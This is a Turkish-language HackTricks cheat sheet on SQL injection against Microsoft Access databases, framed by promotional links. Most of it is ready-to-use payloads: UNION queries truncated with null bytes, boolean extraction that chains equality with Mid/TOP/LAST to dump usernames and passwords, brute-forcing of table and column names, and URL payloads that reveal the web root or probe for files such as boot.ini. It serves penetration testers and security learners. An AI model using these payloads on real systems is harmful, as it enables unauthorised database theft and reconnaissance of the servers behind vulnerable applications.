10 KiB
MS Access SQL Injection
AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz, ABONELİK PLANLARINA göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'i keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına pull request göndererek paylaşın.
Çevrimiçi Oyun Alanı
DB Sınırlamaları
Dize Birleştirme
Dize birleştirme işlemi & (%26)
ve + (%2b)
karakterleriyle mümkündür.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Yorumlar
MS Access'te yorumlar bulunmamaktadır, ancak görünüşe göre bir sorgunun sonunu NULL karakteriyle kaldırmak mümkündür:
1' union select 1,2 from table%00
Eğer bu çalışmıyorsa, her zaman sorgunun sözdizimini düzeltebilirsiniz:
1' UNION SELECT 1,2 FROM table WHERE ''='
Yığılmış Sorgular
Desteklenmezler.
LIMIT
LIMIT
operatörü uygulanmamıştır. Bununla birlikte, TOP
operatörünü kullanarak SELECT sorgusu sonuçlarını ilk N tablo satırıyla sınırlamak mümkündür. TOP
, döndürülecek satır sayısını temsil eden bir tamsayıyı argüman olarak kabul eder.
1' UNION SELECT TOP 3 attr FROM table%00
TOP gibi LAST
kullanabilirsiniz, bu da sondaki satırları alır.
UNION Sorguları/Alt sorgular
SQLi'da genellikle başka tablolardan bilgi çıkarmak için yeni bir sorgu yürütmek istersiniz. MS Access her zaman alt sorgularda veya ek sorgularda bir FROM
belirtilmesini gerektirir.
Bu nedenle, bir koşulda UNION SELECT
veya UNION ALL SELECT
veya parantez içinde bir SELECT
yürütmek istiyorsanız, her zaman geçerli bir tablo adıyla bir FROM
belirtmeniz gerekir.
Bu nedenle, bir geçerli tablo adı bilmelisiniz.
-1' UNION SELECT username,password from users%00
Eşitlik Zincirleme + Alt Dize
{% hint style="warning" %} Bu, tablonun adını bilmeye gerek duymadan mevcut tablonun değerlerini dışarı çıkarmanıza olanak sağlar. {% endhint %}
MS Access, '1'=2='3'='asd'=false
gibi garip sözdizimine izin verir. Genellikle SQL enjeksiyonu bir WHERE
ifadesi içinde olacağından, bunu istismar edebiliriz.
Bir MS Access veritabanında SQLi olduğunu ve bir sütun adının kullanıcı adı olduğunu bildiğinizi (veya tahmin ettiğinizi) varsayalım ve dışarı çıkarmak istediğiniz alan budur. Eşitlik zincirleme tekniği kullanıldığında web uygulamasının farklı yanıtlarını kontrol edebilir ve Mid
işlevini kullanarak alt dizeleri alarak içeriği potansiyel olarak dışarı çıkarabilirsiniz.
'=(Mid(username,1,3)='adm')='
Eğer dökülecek tablonun ve sütunun adını biliyorsanız, boolean SQLi aracılığıyla tüm bilgileri sızdırmak için Mid
, LAST
ve TOP
arasında bir kombinasyon kullanabilirsiniz:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Online oyun alanında bunu kontrol etmekten çekinmeyin.
Tablo İsimlerini Kaba Kuvvet Yöntemiyle Bulma
Zincirleme eşitlik tekniğini kullanarak aşağıdaki gibi bir şeyle de tablo isimlerini kaba kuvvet yöntemiyle bulabilirsiniz:
'=(select+top+1+'lala'+from+<table_name>)='
Ayrıca daha geleneksel bir yöntem de kullanabilirsiniz:
-1' AND (SELECT TOP 1 <table_name>)%00
Online oyun alanında bunu kontrol etmekten çekinmeyin.
- Sqlmap yaygın tablo adları: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- Başka bir liste http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html adresinde bulunmaktadır.
Sütun Adlarını Kaba Kuvvet Yöntemiyle Bulma
Mevcut sütun adlarını eşitlik zinciri hilesiyle kaba kuvvet yöntemiyle bulabilirsiniz.
'=column_name='
Veya bir group by ile:
-1' GROUP BY column_name%00
Veya farklı bir tablonun sütun isimlerini brute-force yöntemiyle deneyebilirsiniz:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Veri dökümü
Zaten eşitlik zinciri tekniğini mevcut ve diğer tablolardan veri dökümlemek için tartıştık. Ancak başka yollar da vardır:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
Kısacası, sorgu başarılı olduğunda "200 OK" tetiklemek için bir "if-then" ifadesi kullanır veya aksi halde "500 Internal Error" tetikler. TOP 10 operatöründen faydalanarak ilk on sonucu seçmek mümkündür. LAST'in ardından kullanılan, sadece 10. tuple'ı dikkate almayı sağlar. Bu değeri kullanarak MID operatörü kullanarak basit bir karakter karşılaştırması yapılabilir. MID ve TOP'un dizinini uygun şekilde değiştirerek, tüm satırlar için "username" alanının içeriğini alabiliriz.
Zaman Temelli
https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN adresinde kontrol edin.
Diğer İlginç fonksiyonlar
Mid('admin',1,1)
1. pozisyondan 1 uzunluğunda alt dize alır (başlangıç pozisyonu 1'dir)LEN('1234')
dizenin uzunluğunu alırASC('A')
karakterin ascii değerini alırCHR(65)
ascii değerinden dize alırIIF(1=1,'a','b')
eğer sonraCOUNT(*)
Öğe sayısını sayar
Tabloları Numaralandırma
Buradan tablo isimlerini almak için bir sorgu görebilirsiniz:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
Ancak, SQL Enjeksiyonlarına MSysObjects
tablosunu okuma erişiminizin olmadığı durumlar çok yaygındır.
Dosya Sistemi Erişimi
Web Kök Dizin Tam Yolu
Web kök dizininin mutlak yolunu bilmek, daha fazla saldırıyı kolaylaştırabilir. Uygulama hataları tamamen gizlenmediyse, dizin yolunu ortaya çıkarmak için mevcut olmayan bir veritabanından veri seçmeye çalışarak bulunabilir.
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access, web dizini tam yolunu içeren bir hata mesajıyla yanıt verir.
Dosya Numaralandırma
Aşağıdaki saldırı vektörü, uzak dosya sisteminde bir dosyanın varlığını çıkarabilir. Belirtilen dosya varsa, MS Access, veritabanı formatının geçersiz olduğunu bildiren bir hata mesajı tetikler:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
Dosyaların numaralandırılması için başka bir yol, bir veritabanı.tablo öğesi belirtmektir. Belirtilen dosya varsa, MS Access, bir veritabanı formatı hatası mesajı görüntüler.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
.mdb Dosya Adı Tahmini
Veritabanı dosya adı (.mdb) aşağıdaki sorgu ile tahmin edilebilir:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Burada name[i] bir .mdb dosya adıdır ve realTable veritabanında mevcut bir tablodur. MS Access her zaman bir hata mesajı tetikleyeceği için, geçersiz bir dosya adı ile geçerli bir .mdb dosya adı arasında ayrım yapmak mümkündür.
.mdb Şifre Kırıcı
Access PassView, Microsoft Access 95/97/2000/XP veya Jet Database Engine 3.0/4.0'in ana veritabanı şifresini kurtarmak için kullanılan ücretsiz bir araçtır.
Referanslar
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz olan The PEASS Family'yi keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.